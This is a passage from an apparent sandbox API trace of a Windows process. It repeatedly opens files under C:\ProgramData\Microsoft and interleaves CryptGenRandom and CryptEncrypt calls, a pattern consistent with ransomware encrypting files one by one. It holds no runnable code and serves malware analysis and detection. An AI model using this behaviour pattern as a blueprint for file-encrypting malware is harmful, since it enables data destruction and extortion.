lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.550] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0a8 | out: pbBuffer=0x26ff0a8) returned 1 [0107.550] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0a0*=0x30) returned 1 [0107.551] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.551] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0a0 | out: pbBuffer=0x26ff0a0) returned 1 [0107.551] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff098*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff098*=0x30) returned 1 [0107.551] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.551] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0a0 | out: pbBuffer=0x26ff0a0) returned 1 [0107.551] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff098*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff098*=0x30) returned 1 [0107.551] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.551] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff098 | out: pbBuffer=0x26ff098) returned 1 [0107.551] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff090*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff090*=0x30) returned 1 [0107.551] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.551] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff098 | out: pbBuffer=0x26ff098) returned 1 [0107.551] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff090*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff090*=0x30) returned 1 [0107.551] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.552] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff090 | out: pbBuffer=0x26ff090) returned 1 [0107.552] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff088*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff088*=0x30) returned 1 [0107.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.552] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff090 | out: pbBuffer=0x26ff090) returned 1 [0107.552] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff088*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff088*=0x30) returned 1 [0107.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.552] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff080 | out: pbBuffer=0x26ff080) returned 1 [0107.552] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff078*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff078*=0x30) returned 1 [0107.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.552] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff070 | out: pbBuffer=0x26ff070) returned 1 [0107.552] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff068*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff068*=0x30) returned 1 [0107.552] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\ppcrlui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.553] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff070 | out: pbBuffer=0x26ff070) returned 1 [0107.553] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff068*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff068*=0x30) returned 1 [0107.553] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" (normalized: "c:\\programdata\\microsoft\\identitycrl\\ppcrlconfig.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.553] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff058 | out: pbBuffer=0x26ff058) returned 1 [0107.553] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff050*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff050*=0x30) returned 1 [0107.553] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.553] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff058 | out: pbBuffer=0x26ff058) returned 1 [0107.553] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff050*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff050*=0x30) returned 1 [0107.553] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.553] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff050 | out: pbBuffer=0x26ff050) returned 1 [0107.553] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff048*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff048*=0x30) returned 1 [0107.553] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.554] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff050 | out: pbBuffer=0x26ff050) returned 1 [0107.554] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff048*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff048*=0x30) returned 1 [0107.554] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.554] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff048 | out: pbBuffer=0x26ff048) returned 1 [0107.554] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff040*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff040*=0x30) returned 1 [0107.554] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.554] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff048 | out: pbBuffer=0x26ff048) returned 1 [0107.554] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff040*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff040*=0x30) returned 1 [0107.554] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.554] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff040 | out: pbBuffer=0x26ff040) returned 1 [0107.554] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff038*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff038*=0x30) returned 1 [0107.554] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.555] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff040 | out: pbBuffer=0x26ff040) returned 1 [0107.555] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff038*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff038*=0x30) returned 1 [0107.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.555] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff038 | out: pbBuffer=0x26ff038) returned 1 [0107.555] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff030*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff030*=0x30) returned 1 [0107.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.555] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff030 | out: pbBuffer=0x26ff030) returned 1 [0107.555] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff028*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff028*=0x30) returned 1 [0107.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.555] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff028 | out: pbBuffer=0x26ff028) returned 1 [0107.555] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff020*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff020*=0x30) returned 1 [0107.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.556] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff028 | out: pbBuffer=0x26ff028) returned 1 [0107.556] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff020*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff020*=0x30) returned 1 [0107.556] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.556] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff020 | out: pbBuffer=0x26ff020) returned 1 [0107.556] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff018*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff018*=0x30) returned 1 [0107.556] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.556] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff020 | out: pbBuffer=0x26ff020) returned 1 [0107.556] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff018*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff018*=0x30) returned 1 [0107.556] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.556] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff018 | out: pbBuffer=0x26ff018) returned 1 [0107.556] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff010*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff010*=0x30) returned 1 [0107.556] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.556] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff018 | out: pbBuffer=0x26ff018) returned 1 [0107.557] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff010*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff010*=0x30) returned 1 [0107.557] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.557] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff010 | out: pbBuffer=0x26ff010) returned 1 [0107.557] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff008*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff008*=0x30) returned 1 [0107.557] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.557] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff010 | out: pbBuffer=0x26ff010) returned 1 [0107.557] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff008*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff008*=0x30) returned 1 [0107.557] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.557] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff008 | out: pbBuffer=0x26ff008) returned 1 [0107.557] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff000*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff000*=0x30) returned 1 [0107.557] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.557] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26feff8 | out: pbBuffer=0x26feff8) returned 1 [0107.558] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26feff0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26feff0*=0x30) returned 1 [0107.558] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.558] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26feff8 | out: pbBuffer=0x26feff8) returned 1 [0107.558] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26feff0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26feff0*=0x30) returned 1 [0107.558] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.558] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26feff0 | out: pbBuffer=0x26feff0) returned 1 [0107.558] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefe8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefe8*=0x30) returned 1 [0107.558] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.558] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefe8 | out: pbBuffer=0x26fefe8) returned 1 [0107.558] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefe0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefe0*=0x30) returned 1 [0107.558] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.558] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefe8 | out: pbBuffer=0x26fefe8) returned 1 [0107.559] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefe0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefe0*=0x30) returned 1 [0107.559] 